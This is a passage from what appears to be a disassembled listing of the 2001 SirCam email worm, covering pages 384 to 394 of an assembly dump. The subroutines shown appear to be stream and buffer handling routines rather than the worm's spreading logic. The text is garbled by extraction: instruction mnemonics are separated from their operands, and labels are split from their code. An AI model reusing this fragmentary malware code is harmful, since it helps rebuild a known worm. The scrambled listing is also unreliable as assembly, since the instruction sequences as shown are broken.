; CODE XREF: sub_40DA28+A\030j
; sub_40DA28+E\030j ...
xor
esi, esi
mov
pop
pop
pop
retn
endp
eax, esi
edi
esi
ebx
loc_40DA5A:
sub_40DA28
; CODE XREF: sub_40DA28+2E\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DA60:
; DATA XREF: CODE:0040BDFC\030o
; CODE:0040BE6C\030o
sub
cx, 1
jb
short loc_40DA6F
jz
short loc_40DA74
dec
cx
jz
short loc_40DA79
jmp
short loc_40DA7F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DA6F:
; CODE XREF: CODE:0040DA64\030j
mov
[eax+0Ch], edx
jmp
short loc_40DA7F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DA74:
; CODE XREF: CODE:0040DA66\030j
add
[eax+0Ch], edx
jmp
short loc_40DA7F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DA79:
; CODE XREF: CODE:0040DA6B\030j
add
mov
edx, [eax+8]
[eax+0Ch], edx
loc_40DA7F:
; CODE XREF: CODE:0040DA6D\030j
; CODE:0040DA72\030j ...
mov
eax, [eax+0Ch]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DA84
proc near
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, esi
call
sub_40DAB0
mov
edx, ebx
and
dl, 0FCh
; DATA XREF: CODE:0040BE5C\030o
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
test
jle
mov
call
eax, esi
sub_402BCC
bl, bl
short loc_40DAAD
eax, esi
sub_402D2C
pop
pop
retn
endp
esi
ebx
loc_40DAAD:
sub_40DA84
384
; CODE XREF: sub_40DA84+20\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DAB0
sub_40DAB0
proc near
push
ebx
mov
ebx, eax
xor
edx, edx
mov
eax, ebx
call
sub_40DB54
xor
eax, eax
mov
[ebx+8], eax
xor
eax, eax
mov
[ebx+0Ch], eax
pop
ebx
retn
endp
; CODE XREF: sub_40DA84+D\030p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DAC8
proc near
; CODE XREF: sub_40DB00+2D\031p
push
ebx
push
esi
push
edi
mov
edi, edx
mov
esi, eax
xor
edx, edx
mov
eax, edi
call
sub_40D840
mov
eax, edi
call
sub_40D84C
mov
ebx, eax
mov
edx, ebx
mov
eax, esi
mov
ecx, [eax]
call
dword ptr [ecx]
test
ebx, ebx
jz
short loc_40DAF9
mov
edx, [esi+4]
mov
ecx, ebx
mov
eax, edi
call
sub_40D884
loc_40DAF9:
sub_40DAC8
; CODE XREF: sub_40DAC8+23\030j
pop
pop
pop
retn
endp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
385
; Attributes: bp-based frame
sub_40DB00
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
push
mov
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_412708+41\031p
ebp
ebp, esp
ecx
ebx
ebx, eax
20h
ecx, edx
eax, ds:off_40BD3C
dl, 1
sub_40D940
[ebp+var_4], eax
eax, eax
ebp
offset loc_40DB48
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, ebx
sub_40DAC8
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40DB4F
loc_40DB3F:
sub_40DB00
; CODE XREF: CODE:0040DB4D\031j
mov
eax, [ebp+var_4]
call
sub_402BDC
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DB48:
; DATA XREF: sub_40DB00+1D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40DB3F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DB4F:
; DATA XREF: sub_40DB00+3A\030o
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DB54
proc near
push
push
mov
mov
mov
mov
mov
call
mov
mov
mov
; CODE XREF: sub_40DAB0+7\030p
; sub_40DB7C+E\031p ...
ebx
ecx
[esp+0], edx
ebx, eax
edx, esp
eax, ebx
ecx, [eax]
dword ptr [ecx+10h]
edx, eax
ecx, [ebx+8]
eax, ebx
sircam.asm
sub_40DB54
Fri Aug 10 12:42:44 2001
call
mov
mov
pop
pop
retn
endp
386
sub_40DA20
eax, [esp+0]
[ebx+10h], eax
edx
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DB7C
proc near
; DATA XREF: CODE:0040BE60\030o
push
ebx
push
esi
push
edi
mov
esi, edx
mov
ebx, eax
mov
edi, [ebx+0Ch]
mov
edx, esi
mov
eax, ebx
call
sub_40DB54
mov
[ebx+8], esi
cmp
esi, edi
jge
short loc_40DBA3
mov
cx, 2
xor
edx, edx
mov
eax, ebx
mov
ebx, [eax]
call
dword ptr [ebx+0Ch]
loc_40DBA3:
sub_40DB7C
; CODE XREF: sub_40DB7C+18\030j
pop
pop
pop
retn
endp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DBA8
proc near
; DATA XREF: CODE:0040BE70\030o
push
ebx
push
esi
push
edi
cmp
dword ptr [edx], 0
jle
short loc_40DBC0
mov
ecx, [edx]
add
ecx, 1FFFh
and
ecx, 0FFFFE000h
mov
[edx], ecx
loc_40DBC0:
mov
mov
mov
mov
cmp
jz
cmp
jnz
mov
call
xor
jmp
; CODE XREF: sub_40DBA8+6\030j
esi, [eax+4]
ecx, esi
edi, [edx]
ebx, [eax+10h]
edi, ebx
short loc_40DC24
dword ptr [edx], 0
short loc_40DBDE
eax, esi
sub_405EA8
ecx, ecx
short loc_40DC24
sircam.asm
Fri Aug 10 12:42:44 2001
387
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DBDE:
; CODE XREF: sub_40DBA8+29\030j
test
ebx, ebx
jnz
short loc_40DBF5
mov
eax, ds:off_41DC34
movzx
eax, word ptr [eax]
mov
edx, [edx]
call
sub_405E7C
mov
ecx, eax
jmp
short loc_40DC09
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DBF5:
mov
movzx
mov
mov
call
mov
; CODE XREF: sub_40DBA8+38\030j
ecx, ds:off_41DC34
ecx, word ptr [ecx]
edx, [edx]
eax, esi
sub_405E8C
ecx, eax
test
jnz
mov
mov
mov
call
call
; CODE XREF: sub_40DBA8+4B\030j
ecx, ecx
short loc_40DC24
ecx, ds:off_41DC6C
dl, 1
eax, ds:off_40B530
sub_40950C
sub_402F98
loc_40DC09:
loc_40DC24:
sub_40DBA8
; CODE XREF: sub_40DBA8+24\030j
; sub_40DBA8+34\030j ...
mov
pop
pop
pop
retn
endp
eax, ecx
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DC2C
proc near
; DATA XREF: CODE:0040BE68\030o
push
ebx
push
esi
push
edi
push
ebp
mov
esi, ecx
mov
ebp, edx
mov
ebx, eax
mov
eax, [ebx+0Ch]
test
eax, eax
jl
short loc_40DC75
test
esi, esi
jl
short loc_40DC75
mov
edi, eax
add
edi, esi
test
edi, edi
jle
short loc_40DC75
cmp
edi, [ebx+8]
jle
short loc_40DC5F
cmp
edi, [ebx+10h]
jle
short loc_40DC5C
mov
edx, edi
mov
eax, ebx
call
sub_40DB54
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40DC5C:
388
; CODE XREF: sub_40DC2C+25\030j
mov
[ebx+8], edi
loc_40DC5F:
; CODE XREF: sub_40DC2C+20\030j
mov
edx, [ebx+4]
add
edx, [ebx+0Ch]
mov
eax, ebp
mov
ecx, esi
call
sub_4026B0
mov
[ebx+0Ch], edi
mov
eax, esi
jmp
short loc_40DC77
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DC75:
; CODE XREF: sub_40DC2C+F\030j
; sub_40DC2C+13\030j ...
xor
eax, eax
pop
pop
pop
pop
retn
endp
ebp
edi
esi
ebx
loc_40DC77:
sub_40DC2C
; CODE XREF: sub_40DC2C+47\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40DC7C
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_40E3D0+4E\031p
push
mov
add
push
push
push
mov
mov
cmp
jz
mov
call
mov
xor
push
push
push
mov
mov
dec
cmp
jl
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
edi
[ebp+var_8], edx
[ebp+var_4], eax
ds:dword_41E624, 0
loc_40DD1E
eax, ds:dword_41E624
sub_40C4B0
edi, eax
eax, eax
ebp
offset loc_40DD17
dword ptr fs:[eax]
fs:[eax], esp
ebx, [edi+8]
ebx
ebx, 0
short loc_40DCFF
mov
mov
call
mov
cmp
jz
mov
cmp
jnz
edx, ebx
eax, edi
sub_40C20C
esi, eax
[ebp+var_4], 0
short loc_40DCD4
eax, [esi+8]
eax, [ebp+var_4]
short loc_40DCF9
loc_40DCBB:
; CODE XREF: sub_40DC7C+81\031j
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40DCD4:
389
; CODE XREF: sub_40DC7C+4E\030j
cmp
jz
mov
mov
call
test
jz
[ebp+var_8], 0
short loc_40DCE9
edx, [esi+10h]
eax, [ebp+var_8]
sub_406E40
al, al
short loc_40DCF9
mov
mov
call
mov
call
edx, ebx
eax, edi
sub_40C11C
eax, esi
sub_402BDC
loc_40DCE9:
; CODE XREF: sub_40DC7C+5C\030j
loc_40DCF9:
; CODE XREF: sub_40DC7C+56\030j
; sub_40DC7C+6B\030j
dec
cmp
jnz
ebx
ebx, 0FFFFFFFFh
short loc_40DCBB
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40DC7C+3D\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40DD1E
loc_40DCFF:
loc_40DD0C:
; CODE XREF: sub_40DC7C+A0\031j
mov
eax, ds:dword_41E624
call
sub_40C514
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DD17:
; DATA XREF: sub_40DC7C+2B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40DD0C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DD1E:
sub_40DC7C
; CODE XREF: sub_40DC7C+16\030j
; DATA XREF: sub_40DC7C+8B\030o
pop
pop
pop
pop
pop
pop
retn
endp
edi
esi
ebx
ecx
ecx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40DD28
proc near
var_4
= dword ptr -4
push
mov
push
push
push
push
ebp
ebp, esp
ecx
ebx
esi
edi
; CODE XREF: sub_40C520+D\030p
sircam.asm
Fri Aug 10 12:42:44 2001
390
mov
cmp
jz
mov
call
mov
xor
push
push
push
mov
mov
dec
cmp
jl
[ebp+var_4], eax
ds:dword_41E624, 0
short loc_40DDA6
eax, ds:dword_41E624
sub_40C4B0
edi, eax
eax, eax
ebp
offset loc_40DD9F
dword ptr fs:[eax]
fs:[eax], esp
ebx, [edi+8]
ebx
ebx, 0
short loc_40DD87
mov
mov
call
mov
mov
cmp
jnz
mov
mov
call
mov
call
edx, ebx
eax, edi
sub_40C20C
esi, eax
eax, [esi+4]
eax, [ebp+var_4]
short loc_40DD81
edx, ebx
eax, edi
sub_40C11C
eax, esi
sub_402BDC
dec
cmp
jnz
ebx
ebx, 0FFFFFFFFh
short loc_40DD5E
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40DD28+34\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40DDA6
loc_40DD5E:
; CODE XREF: sub_40DD28+5D\031j
loc_40DD81:
; CODE XREF: sub_40DD28+47\030j
loc_40DD87:
loc_40DD94:
; CODE XREF: sub_40DD28+7C\031j
mov
eax, ds:dword_41E624
call
sub_40C514
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DD9F:
; DATA XREF: sub_40DD28+22\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40DD94
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DDA6:
sub_40DD28
; CODE XREF: sub_40DD28+11\030j
; DATA XREF: sub_40DD28+67\030o
pop
pop
pop
pop
pop
retn
endp
edi
esi
ebx
ecx
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DDAC
proc near
; CODE XREF: sub_40DDC4+5\031p
sircam.asm
sub_40DDAC
Fri Aug 10 12:42:44 2001
push
mov
mov
mov
mov
call
call
pop
retn
endp
391
ebx
ebx, eax
ecx, ebx
dl, 1
eax, ds:off_40B698
sub_40950C
sub_402F98
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DDC4
proc near
; CODE XREF: sub_40DDD0+1B\031p
; sub_40DEEC+3D\031p
eax, ds:off_41DBE8
sub_40DDAC
sub_40DDC4
mov
call
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DDD0
proc near
push
push
mov
mov
mov
call
cmp
jz
dec
mov
call
call
ebx
esi
ebx, edx
esi, eax
eax, esi
sub_40DF4C
bl, al
short loc_40DDF0
dword ptr [esi+10h]
eax, esi
sub_40E0AC
sub_40DDC4
pop
pop
retn
endp
esi
ebx
loc_40DDF0:
sub_40DDD0
; CODE XREF: sub_40DEA0+2\031p
; sub_40DEA8+2\031p
; CODE XREF: sub_40DDD0+F\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DDF4
proc near
sub_40DDF4
push
mov
mov
call
test
setz
dec
pop
retn
endp
; CODE XREF: sub_40CF60+60\030p
; sub_40DFA8+15\031p ...
ebx
ebx, eax
eax, ebx
sub_40DF4C
al, al
al
dword ptr [ebx+10h]
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_40DE08
sub_40DE08
Fri Aug 10 12:42:44 2001
392
proc near
; CODE XREF: sub_40E04C+E\031p
push
ebx
mov
ebx, eax
mov
eax, ebx
call
sub_40DF4C
dec
dword ptr [ebx+10h]
pop
ebx
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DE18
proc near
; CODE XREF: sub_40DEB0+10\031p
; sub_40DEB0+33\031p ...
push
esi
push
edi
push
ebx
mov
edi, edx
mov
ebx, ecx
mov
esi, eax
jmp
short loc_40DE59
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DE23:
; CODE XREF: sub_40DE18+43\031j
mov
sub
ja
mov
call
mov
ecx, [esi+14h]
ecx, [esi+10h]
short loc_40DE35
eax, esi
sub_40DE64
ecx, [esi+14h]
cmp
jb
mov
ecx, ebx
short loc_40DE3B
ecx, ebx
loc_40DE35:
; CODE XREF: sub_40DE18+11\030j
loc_40DE3B:
; CODE XREF: sub_40DE18+1F\030j
push
esi
sub
ebx, ecx
mov
eax, [esi+8]
add
eax, [esi+10h]
add
[esi+10h], ecx
mov
esi, eax
mov
edx, ecx
shr
ecx, 2
cld
repe movsd
mov
ecx, edx
and
ecx, 3
repe movsb
pop
esi
loc_40DE59:
sub_40DE18
; CODE XREF: sub_40DE18+9\030j
or
jnz
pop
pop
pop
retn
endp
ebx, ebx
short loc_40DE23
ebx
edi
esi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
393
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DE64
proc near
; CODE XREF: sub_40DE18+15\030p
push
ebx
push
esi
mov
ebx, eax
mov
edx, [ebx+8]
mov
ecx, [ebx+0Ch]
mov
eax, [ebx+4]
mov
esi, [eax]
call
dword ptr [esi+4]
mov
esi, eax
mov
[ebx+14h], esi
test
esi, esi
jnz
short loc_40DE96
mov
ecx, ds:off_41DC54
mov
dl, 1
mov
eax, ds:off_40B698
call
sub_40950C
call
sub_402F98
loc_40DE96:
sub_40DE64
; CODE XREF: sub_40DE64+19\030j
xor
mov
pop
pop
retn
endp
eax, eax
[ebx+10h], eax
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DEA0
sub_40DEA0
proc near
mov
dl, 1
call
sub_40DDD0
retn
endp
; CODE XREF: sub_40CF60+22\030p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DEA8
proc near
sub_40DEA8
xor
call
retn
endp
; CODE XREF: CODE:0040CFE9\030p
; sub_40DFA8+20\031p ...
edx, edx
sub_40DDD0
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DEB0
proc near
push
push
push
mov
mov
mov
mov
mov
call
xor
mov
ebx
esi
ecx
esi, edx
ebx, eax
edx, esp
ecx, 1
eax, ebx
sub_40DE18
ecx, ecx
cl, [esp+0]
; CODE XREF: sub_40DF60+1B\031p
; sub_40E0AC+DC\031p ...
sircam.asm
sub_40DEB0
Fri Aug 10 12:42:44 2001
mov
xor
call
mov
call
mov
xor
mov
mov
call
pop
pop
pop
retn
endp
394
eax, esi
edx, edx
sub_4035B0
eax, esi
sub_4038F4
edx, eax
ecx, ecx
cl, [esp+0]
eax, ebx
sub_40DE18
edx
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DEEC
proc near
; CODE XREF: sub_40CF60+4D\030p
push
ebx
push
esi
push
ecx
mov
esi, edx
mov
ebx, eax
xor
eax, eax
mov
[esp+0], eax
mov
eax, ebx
call
sub_40DF4C
sub
al, 6
jz
short loc_40DF09
sub
al, 6
jz
short loc_40DF19
jmp
short loc_40DF29
